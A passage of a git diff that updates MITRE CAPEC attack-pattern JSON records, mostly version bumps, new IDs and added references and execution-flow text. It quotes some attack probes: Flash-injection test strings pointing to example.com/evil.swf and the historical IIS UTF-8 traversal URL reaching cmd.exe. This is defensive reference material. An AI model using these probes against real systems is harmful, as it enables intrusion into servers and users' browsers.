[ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_example_instances": [ + "Adversaries exploited the Zoom video conferencing application during the 2020 COVID-19 pandemic to exfiltrate Windows domain credentials from a target system. The attack entailed sending Universal Naming Convention (UNC) paths within the Zoom chat window of an unprotected Zoom call. If the victim clicked on the link, their Windows usernames and the corresponding Net-NTLM-v2 hashes were sent to the address contained in the link. The adversary was then able to infiltrate and laterally move within the Windows domain by passing the acquired credentials to shared network resources. This further provided adversaries with access to Outlook servers and network storage devices. [REF-575]", + "Mimikatz, a post-exploitation Windows credential harvester, can be used to gather and exploit Windows credentials. This malware has been used in several known cyberattacks, such as the Petya Ransomeware attacks. [REF-576]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known Windows credentials: The adversary must obtain known Windows credentials in order to access the target system, application, or service within the domain.

    2. Techniques
    An adversary purchases breached Windows username/password combinations or leaked hashed passwords from the dark web.
    An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.
    An adversary conducts a sniffing attack to steal Windows credentials as they are transmitted.
    An adversary gains access to a Windows domain system/files and exfiltrates Windows password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded Windows credentials.

Experiment

  1. Attempt domain authentication: Try each Windows credential against various systems, applications, and services within the domain until the target grants access.

    2. Techniques
    Manually or automatically enter each credential through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain

  2. Spoofing: Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within domain systems or applications.

", + "x_capec_likelihood_of_attack": "High", + "x_capec_prerequisites": [ + "The system/application is connected to the Windows domain.", + "The system/application uses one factor password-based authentication, SSO, and/or cloud-based authentication.", + "The system/application does not have a sound password policy that is being enforced.", + "The system/application does not implement an effective password throttling mechanism.", + "The adversary possesses a list of known Windows user accounts and corresponding passwords that may exist on the target." + ], + "x_capec_resources_required": [ + "A list of known Windows credentials for the targeted domain.", + "A custom script that leverages a Windows credential list to launch an attack." + ], + "x_capec_skills_required": { + "Low": "Once an adversary obtains a known Windows credential, leveraging it is trivial." + }, + "x_capec_status": "Draft", + "x_capec_typical_severity": "High", + "x_capec_version": "3.3" + } + ] +} \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--27f34b27-52ae-42ae-a5c4-1155641eab90.json b/capec/attack-pattern/attack-pattern--27f34b27-52ae-42ae-a5c4-1155641eab90.json index 54ffc814d9..c84744dc4e 100644 --- a/capec/attack-pattern/attack-pattern--27f34b27-52ae-42ae-a5c4-1155641eab90.json +++ b/capec/attack-pattern/attack-pattern--27f34b27-52ae-42ae-a5c4-1155641eab90.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ec15c1ed-b472-45c9-8826-7639736def57", + "id": "bundle--c950dea4-4cc7-49f2-b968-3bd70c536654", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--283d665d-e109-4d5d-8993-6fb25e5923d6.json b/capec/attack-pattern/attack-pattern--283d665d-e109-4d5d-8993-6fb25e5923d6.json index 7836b27788..6774c86465 100644 --- a/capec/attack-pattern/attack-pattern--283d665d-e109-4d5d-8993-6fb25e5923d6.json +++ b/capec/attack-pattern/attack-pattern--283d665d-e109-4d5d-8993-6fb25e5923d6.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--970b1f00-2631-4943-8519-f3099d7c4ab8", + "id": "bundle--e8a34eeb-a18f-41fc-a5f1-13c521854550", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--283d665d-e109-4d5d-8993-6fb25e5923d6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Local Code Inclusion", "description": "The attacker forces an application to load arbitrary code files from the local machine. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/829.html", "external_id": "CWE-829" + }, + { + "source_name": "ATTACK", + "description": "Process Injection", + "url": "https://attack.mitre.org/wiki/Technique/T1055", + "external_id": "T1055" } ], "object_marking_refs": [ @@ -44,7 +50,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b.json b/capec/attack-pattern/attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b.json index fecf08dee2..8802c6a7f9 100644 --- a/capec/attack-pattern/attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b.json +++ b/capec/attack-pattern/attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a64658e2-5436-4b74-9c6b-5476ef877497", + "id": "bundle--08ed96b9-2a7e-4f49-b15b-de03a8df957c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XSS Through HTTP Query Strings", "description": "An adversary embeds malicious script code in the parameters of an HTTP query string and convinces a victim to submit the HTTP request that contains the query string to a vulnerable web application. The web application then procedes to use the values parameters without properly validation them first and generates the HTML code that will be executed by the victim's browser.", "external_references": [ @@ -48,6 +48,7 @@ "http://user:host@example.com:8080/oradb", "\n Web applications that accept name value pairs in a HTTP Query string are inherently at risk to any value (or name for that matter) that an attacker would like to enter in the query string. This can be done manually via web browser or trivially scripted to post the query string to multiple sites. In the latter case, in the instance of many sites using similar infrastructure with predictable http queries being accepted and operated on (such as blogging software, Google applications, and so on), a single malicious payload can be scripted to target a wide variety of sites.\n Web 2.0 type sites like Technorati and del.icio.us rely on user generated content like tags to build http links that are displayed to other users. del.icio.us allows users to identify sites, tag them with metadata and provide URL, descriptions and more data. This data is then echoed back to any other web browser that is interested in the link. If the data is not validated by the del.icio.us site properly then an arbitrary code can be added into the standard http string sent to del.icio.us by the attacker, for example formatted as normal content with a URL and description and tagged as Java, and available to be clicked on (and executed by) any user browsing for Java content that clicks on this trojaned content.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using a browser or an automated tool, an attacker follows all public links on a web site. They record all the links they find.

    2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt variations on input parameters: Possibly using an automated tool, an attacker requests variations on the URLs they spidered before. They send parameters that include variations of payloads. They record all the responses from the server that include unmodified versions of their script.

    2. Techniques
    Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Target client software must allow scripting such as JavaScript. Server software must allow display of remote generated HTML without sufficient input or output validation." @@ -61,7 +62,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--28be41f9-7246-4484-869d-f0e2e82690ee.json b/capec/attack-pattern/attack-pattern--28be41f9-7246-4484-869d-f0e2e82690ee.json index f3508577ee..14a54f583d 100644 --- a/capec/attack-pattern/attack-pattern--28be41f9-7246-4484-869d-f0e2e82690ee.json +++ b/capec/attack-pattern/attack-pattern--28be41f9-7246-4484-869d-f0e2e82690ee.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--68c30777-71d5-41dd-a310-11f02f551e65", + "id": "bundle--489df7ff-3bf6-4f4a-b713-df94b5ae396a", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--29e8786c-a791-44c6-b1de-950cf0604643.json b/capec/attack-pattern/attack-pattern--29e8786c-a791-44c6-b1de-950cf0604643.json index d58d8be8a1..abb6461e56 100644 --- a/capec/attack-pattern/attack-pattern--29e8786c-a791-44c6-b1de-950cf0604643.json +++ b/capec/attack-pattern/attack-pattern--29e8786c-a791-44c6-b1de-950cf0604643.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--baccbe37-cfb6-4869-b4c2-6c4774466ec8", + "id": "bundle--62487b2a-4039-4d8f-a74f-0daf4cb01b40", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2a6131f7-30af-4529-be4e-bc3b7bf22009.json b/capec/attack-pattern/attack-pattern--2a6131f7-30af-4529-be4e-bc3b7bf22009.json index 411bb6c8d9..869248b564 100644 --- a/capec/attack-pattern/attack-pattern--2a6131f7-30af-4529-be4e-bc3b7bf22009.json +++ b/capec/attack-pattern/attack-pattern--2a6131f7-30af-4529-be4e-bc3b7bf22009.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--683aa28f-897e-48e9-b86d-be8e08a394cd", + "id": "bundle--f6cdd352-f716-459b-a06f-4e0ab288a460", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2a8824eb-4fd0-45a4-9c3c-af3fd7c5e0ca.json b/capec/attack-pattern/attack-pattern--2a8824eb-4fd0-45a4-9c3c-af3fd7c5e0ca.json index de19b218bb..82962da34b 100644 --- a/capec/attack-pattern/attack-pattern--2a8824eb-4fd0-45a4-9c3c-af3fd7c5e0ca.json +++ b/capec/attack-pattern/attack-pattern--2a8824eb-4fd0-45a4-9c3c-af3fd7c5e0ca.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--aa57cda6-bc94-49ba-a901-b288d92cea90", + "id": "bundle--e3c325cd-5243-4539-b91f-9b00f8ede0c9", "spec_version": "2.0", "objects": [ { @@ -83,6 +83,7 @@ "x_capec_example_instances": [ "\n In the following example, the SWF file contains\n getURL('javascript:SomeFunc(\"someValue\")','','GET')\n A request like\n http://example.com/noundef.swf?a=0:0;alert('XSS')\n becomes\n javascript:SomeFunc(\"someValue\")?a=0:0;alert(123)\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Find Injection Entry Points: The attacker first takes an inventory of the entry points of the application.

    2. Techniques
    Spider the website for all available URLs that reference a Flash application.
    List all uninitialized global variables (such as _root.*, _global.*, _level0.*) in ActionScript, registered global variables in included files, load variables to external movies.

Experiment

  1. Determine the application's susceptibility to Flash injection: Determine the application's susceptibility to Flash injection. For each URL identified in the explore phase, the attacker attempts to use various techniques such as direct load asfunction, controlled evil page/host, Flash HTML injection, and DOM injection to determine whether the application is susceptible to Flash injection.

    2. Techniques
    Test the page using direct load asfunction, getURL,javascript:gotRoot(\"\")///d.jpg
    Test the page using controlled evil page/host, http://example.com/evil.swf
    Test the page using Flash HTML injection, \"'>
    Test the page using DOM injection, (gotRoot(''))

Exploit

  1. Inject malicious content into target: Inject malicious content into target utilizing vulnerable injection vectors identified in the Experiment phase

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target must be capable of running Flash applications. In some cases, the victim must follow an attacker-supplied link." @@ -95,7 +96,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2a8a634e-cf1f-4b2e-9a71-1ab8e6bb16d0.json b/capec/attack-pattern/attack-pattern--2a8a634e-cf1f-4b2e-9a71-1ab8e6bb16d0.json index 937a245c7a..0b7b133bae 100644 --- a/capec/attack-pattern/attack-pattern--2a8a634e-cf1f-4b2e-9a71-1ab8e6bb16d0.json +++ b/capec/attack-pattern/attack-pattern--2a8a634e-cf1f-4b2e-9a71-1ab8e6bb16d0.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--91410eca-9947-4354-8198-081d1ee742be", + "id": "bundle--7c22cdd8-1e11-4ba5-9ce3-6833d950e7a5", "spec_version": "2.0", "objects": [ { @@ -60,7 +60,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2b6e94c6-26d0-489c-989c-9f4307348c42.json b/capec/attack-pattern/attack-pattern--2b6e94c6-26d0-489c-989c-9f4307348c42.json index 763f037081..a06445570c 100644 --- a/capec/attack-pattern/attack-pattern--2b6e94c6-26d0-489c-989c-9f4307348c42.json +++ b/capec/attack-pattern/attack-pattern--2b6e94c6-26d0-489c-989c-9f4307348c42.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1acd1035-21e4-4c53-8b4d-0f79a422cd72", + "id": "bundle--562218fa-5233-43d2-922d-d99e88c9775d", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2b8d7aaf-bd4b-424f-8df4-6d0f37b72f4b.json b/capec/attack-pattern/attack-pattern--2b8d7aaf-bd4b-424f-8df4-6d0f37b72f4b.json index d27559fc50..1caf40a8ab 100644 --- a/capec/attack-pattern/attack-pattern--2b8d7aaf-bd4b-424f-8df4-6d0f37b72f4b.json +++ b/capec/attack-pattern/attack-pattern--2b8d7aaf-bd4b-424f-8df4-6d0f37b72f4b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d4e70f6a-fe79-4637-b183-b42704735ea6", + "id": "bundle--79008cad-2470-4af1-acca-13073f9a03ba", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--2b8d7aaf-bd4b-424f-8df4-6d0f37b72f4b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Subvert Code-signing Facilities", "description": "Many languages use code signing facilities to vouch for code's identity and to thus tie code to its assigned privileges within an environment. Subverting this mechanism can be instrumental in an attacker escalating privilege. Any means of subverting the way that a virtual machine enforces code signing classifies for this style of attack.", "external_references": [ @@ -62,7 +62,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2c22407a-efdb-4b20-81f6-ab8a73ded348.json b/capec/attack-pattern/attack-pattern--2c22407a-efdb-4b20-81f6-ab8a73ded348.json index 630cc065ba..27db267178 100644 --- a/capec/attack-pattern/attack-pattern--2c22407a-efdb-4b20-81f6-ab8a73ded348.json +++ b/capec/attack-pattern/attack-pattern--2c22407a-efdb-4b20-81f6-ab8a73ded348.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a1a15ab1-b44f-43ef-9233-fbdd41cf403a", + "id": "bundle--05af55e2-efd4-4877-8b5b-4961d0cd63ff", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80.json b/capec/attack-pattern/attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80.json index 728187cdf9..4770eba798 100644 --- a/capec/attack-pattern/attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80.json +++ b/capec/attack-pattern/attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--58e3d023-7e15-4977-afaa-4612b4235ff0", + "id": "bundle--4513bb7f-d3ee-4617-94de-7c062d513d80", "spec_version": "2.0", "objects": [ { @@ -50,7 +50,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2d533987-71b1-41a3-873b-38d63188d2eb.json b/capec/attack-pattern/attack-pattern--2d533987-71b1-41a3-873b-38d63188d2eb.json index 3706f70f39..1fafafd8fe 100644 --- a/capec/attack-pattern/attack-pattern--2d533987-71b1-41a3-873b-38d63188d2eb.json +++ b/capec/attack-pattern/attack-pattern--2d533987-71b1-41a3-873b-38d63188d2eb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--262aeb10-f03d-4f1c-947c-8229c12b5c02", + "id": "bundle--d9fe419d-403b-4e1e-875d-81086ee5d3a7", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2d865521-82f5-42e5-a595-dc93f60dfd3f.json b/capec/attack-pattern/attack-pattern--2d865521-82f5-42e5-a595-dc93f60dfd3f.json index 365432dc68..be5efbcbb7 100644 --- a/capec/attack-pattern/attack-pattern--2d865521-82f5-42e5-a595-dc93f60dfd3f.json +++ b/capec/attack-pattern/attack-pattern--2d865521-82f5-42e5-a595-dc93f60dfd3f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ecfb075a-b00d-4c88-be80-5f5d77279df5", + "id": "bundle--6ac87dd0-30cd-4bc1-8572-81a422873748", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2e017307-7bab-419b-972c-8dae9e089572.json b/capec/attack-pattern/attack-pattern--2e017307-7bab-419b-972c-8dae9e089572.json index 7f9842da32..1e10e1dfb4 100644 --- a/capec/attack-pattern/attack-pattern--2e017307-7bab-419b-972c-8dae9e089572.json +++ b/capec/attack-pattern/attack-pattern--2e017307-7bab-419b-972c-8dae9e089572.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ca5fbf51-b048-47a0-9ffe-18eef5dc66ae", + "id": "bundle--6f822cbb-f954-401b-b741-a015b636de69", "spec_version": "2.0", "objects": [ { @@ -31,7 +31,7 @@ "This type of an attack requires the ability to generate a large amount of ICMP traffic to send to the target server." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2e1be870-6442-4978-9a30-46d518aa1f74.json b/capec/attack-pattern/attack-pattern--2e1be870-6442-4978-9a30-46d518aa1f74.json index 9781b7acb1..e6d11b5363 100644 --- a/capec/attack-pattern/attack-pattern--2e1be870-6442-4978-9a30-46d518aa1f74.json +++ b/capec/attack-pattern/attack-pattern--2e1be870-6442-4978-9a30-46d518aa1f74.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bb4c8361-4f0e-4783-b971-337fa6b1cdec", + "id": "bundle--61d9d162-3108-4196-a735-2b7063c8fcd1", "spec_version": "2.0", "objects": [ { @@ -39,7 +39,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2e2ed1f8-f736-4fc9-83bc-308595fc6e03.json b/capec/attack-pattern/attack-pattern--2e2ed1f8-f736-4fc9-83bc-308595fc6e03.json index 6387e93b74..e12160f323 100644 --- a/capec/attack-pattern/attack-pattern--2e2ed1f8-f736-4fc9-83bc-308595fc6e03.json +++ b/capec/attack-pattern/attack-pattern--2e2ed1f8-f736-4fc9-83bc-308595fc6e03.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1b05f109-4afe-4f2f-9901-5d9e3e5348d8", + "id": "bundle--5ed45acb-8287-4ab8-ac80-b66277767a17", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--2e2ed1f8-f736-4fc9-83bc-308595fc6e03", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Authentication Abuse", "description": "An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the \"Exploitation of Session Variables, Resource IDs and other Trusted Credentials\" attack patterns.", "external_references": [ @@ -21,6 +21,11 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/287.html", "external_id": "CWE-287" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1244.html", + "external_id": "CWE-1244" } ], "object_marking_refs": [ @@ -35,7 +40,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4.json b/capec/attack-pattern/attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4.json index 9f8b0db162..19627212a7 100644 --- a/capec/attack-pattern/attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4.json +++ b/capec/attack-pattern/attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f4ba1706-7432-4690-87fa-cc6d020ede2e", + "id": "bundle--9db4ef98-3617-4c3b-95fe-f0860c71f98c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Leveraging/Manipulating Configuration File Search Paths", "description": "This pattern of attack sees an adversary load a malicious resource into a program's standard path so that when a known command is executed then the system instead executes the malicious component. The adversary can either modify the search path a program uses, like a PATH variable or classpath, or they can manipulate resources on the path to point to their malicious components. J2EE applications and other component based applications that are built from multiple binaries can have very long list of dependencies to execute. If one of these libraries and/or references is controllable by the attacker then application controls can be circumvented by the attacker.", "external_references": [ @@ -27,6 +27,12 @@ "url": "http://cwe.mitre.org/data/definitions/427.html", "external_id": "CWE-427" }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Path Interception by PATH Environment Variable", + "url": "https://attack.mitre.org/wiki/Technique/T1574/007", + "external_id": "T1574.007" + }, { "source_name": "reference_from_CAPEC", "description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley", @@ -68,7 +74,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497.json b/capec/attack-pattern/attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497.json index 372c75c12a..c7e243260c 100644 --- a/capec/attack-pattern/attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497.json +++ b/capec/attack-pattern/attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5d190fb5-88dc-4c0e-9bc3-2b27005fced9", + "id": "bundle--2b5c5e1f-9855-411e-b9b9-0053fca55172", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Using UTF-8 Encoding to Bypass Validation Logic", "description": "This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the \"shortest possible\" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.", "external_references": [ @@ -156,8 +156,9 @@ ] }, "x_capec_example_instances": [ - "\n Perhaps the most famous UTF-8 attack was against unpatched Microsoft Internet Information Server (IIS) 4 and IIS 5 servers. If an attacker made a request that looked like this\n http://servername/scripts/..%c0%af../winnt/system32/ cmd.exe\n the server didn't correctly handle %c0%af in the URL. What do you think %c0%af means? It's 11000000 10101111 in binary; and if it's broken up using the UTF-8 mapping rules, we get this: 11000000 10101111. Therefore, the character is 00000101111, or 0x2F, the slash (/) character! The %c0%af is an invalid UTF-8 representation of the / character. Such an invalid UTF-8 escape is often referred to as an overlong sequence.\n So when the attacker requested the tainted URL, he accessed\n http://servername/scripts/../../winnt/system32/cmd.exe\n In other words, he walked out of the script's virtual directory, which is marked to allow program execution, up to the root and down into the system32 directory, where he could pass commands to the command shell, Cmd.exe.See also: CVE-2000-0884" + "\n Perhaps the most famous UTF-8 attack was against unpatched Microsoft Internet Information Server (IIS) 4 and IIS 5 servers. If an attacker made a request that looked like this\n http://servername/scripts/..%c0%af../winnt/system32/ cmd.exe\n the server didn't correctly handle %c0%af in the URL. What do you think %c0%af means? It's 11000000 10101111 in binary; and if it's broken up using the UTF-8 mapping rules, we get this: 11000000 10101111. Therefore, the character is 00000101111, or 0x2F, the slash (/) character! The %c0%af is an invalid UTF-8 representation of the / character. Such an invalid UTF-8 escape is often referred to as an overlong sequence.\n So when the attacker requested the tainted URL, they accessed\n http://servername/scripts/../../winnt/system32/cmd.exe\n In other words, they walked out of the script's virtual directory, which is marked to allow program execution, up to the root and down into the system32 directory, where they could pass commands to the command shell, Cmd.exe.See also: CVE-2000-0884" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.

    2. Techniques
